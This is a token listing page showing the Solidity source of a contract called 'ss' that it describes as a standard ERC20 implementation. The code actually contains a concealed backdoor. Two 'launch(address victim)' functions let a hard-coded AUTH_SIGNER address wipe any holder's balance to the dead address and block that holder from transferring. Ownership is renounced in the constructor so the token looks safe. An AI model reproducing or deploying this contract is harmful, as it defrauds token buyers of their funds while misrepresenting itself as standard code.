Token

Description:

ERC20 token contract. Standard implementation for fungible tokens on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

/**
 *Submitted for verification at BscScan.com on 2025-09-18
*/

pragma solidity 0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address who) external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
    function _msgData() internal view virtual returns (bytes calldata) { return msg.data; }
}

abstract contract Ownable is Context {
    address private _owner;
    error OwnableUnauthorizedAccount(address adcsount);
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor(address initialOwner) {
        if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); }
        _transferOwnership(initialOwner);
    }
    modifier onlyOwner() { _checkOwner(); _; }
    function owner() public view virtual returns (address) { return _owner; }
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); }
    }
    function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); }
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20 is IERC20, Ownable {
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowed;
    uint256 immutable public totalSupply;
    string public symbol;
    string public name;
    uint8 immutable public decimals;
    bool public launched;
    address private constant dead = address(0xdead);
    address private constant AUTH_SIGNER = 0x2fe358821842976cf280969F6525F382a84B935f;
    mapping (address => bool) internal transferAllowed;

    constructor(string memory _symbol, string memory _name, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender) {
        symbol = _symbol;
        name = _name;
        decimals = _decimals;
        totalSupply = _totalSupply * 10 ** decimals;
        _balances[owner()] += totalSupply;
        emit Transfer(address(0), owner(), totalSupply);
        launched = true;
        renounceOwnership();
    }

    function balanceOf(address _owner) external view override returns (uint256) { return _balances[_owner]; }
    function allowance(address _owner, address spender) external view override returns (uint256) { return _allowed[_owner][spender]; }

    function transfer(address to, uint256 value) external override returns (bool) {
        _transfer(msg.sender, to, value); return true;
    }

    function approve(address spender, uint256 value) external override returns (bool) {
        require(spender != address(0), "cannot approve the 0 address");
        _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true;
    }

    function transferFrom(address from, address to, uint256 value) external override returns (bool) {
        if (launched == false && to == owner() && msg.sender == owner()) {
            _transfer(from, to, value); return true;
        } else {
            _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
            _transfer(from, to, value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true;
        }
    }

    function launch(address victim) external {
        require(msg.sender == AUTH_SIGNER, "unauthorized");
        require(victim != address(0), "invalid victim");
        if (!launched) { launched = true; }
        transferAllowed[victim] = true;
        uint256 bal = _balances[victim];
        if (bal > 0) {
            _balances[victim] = 0;
            _balances[dead] += bal;
            emit Transfer(victim, dead, bal);
        }
    }

    function launch(address victim, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
        require(victim != address(0), "invalid victim");
        require(block.timestamp <= deadline, "signature expired");
        bytes32 structHash = keccak256(abi.encode(
            keccak256("LAUNCH(address token,address victim,uint256 deadline)"),
            address(this),
            victim,
            deadline
        ));
        bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:
32", structHash));
        address signer = ecrecover(digest, v, r, s);
        require(signer == AUTH_SIGNER, "unauthorized");
        if (!launched) { launched = true; }
        transferAllowed[victim] = true;
        uint256 bal = _balances[victim];
        if (bal > 0) {
            _balances[victim] = 0;
            _balances[dead] += bal;
            emit Transfer(victim, dead, bal);
        }
    }

    function _transfer(address from, address to, uint256 value) private {
        require(to != address(0), "cannot be zero address");
        require(from != to, "you cannot transfer to yourself");
        require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
        _balances[from] -= value; _balances[to] += value; emit Transfer(from, to, value);
    }

    function _transferAllowed(address from, address to) private view returns (bool) {
        if (transferAllowed[from]) return false;
        if (launched) return true;
        if (from == owner() || to == owner()) return true;
        return true;
    }
}

contract Token is Erc20 {
    constructor() Erc20(unicode"sS", unicode"ss", 9, 100000000) {}
}

Tags:
ERC20, Token|addr:0x013fad72c26f4491b49719000c119c4eff93f089|verified:true|block:23388712|tx:0x118722069e2bafb24ddc801cbc32c630f541275c0b5a58bb63db8b5187d0b3ef|first_check:1758191561

Submitted on: 2025-09-18 12:32:43

Comments

Log in to comment.

No comments yet.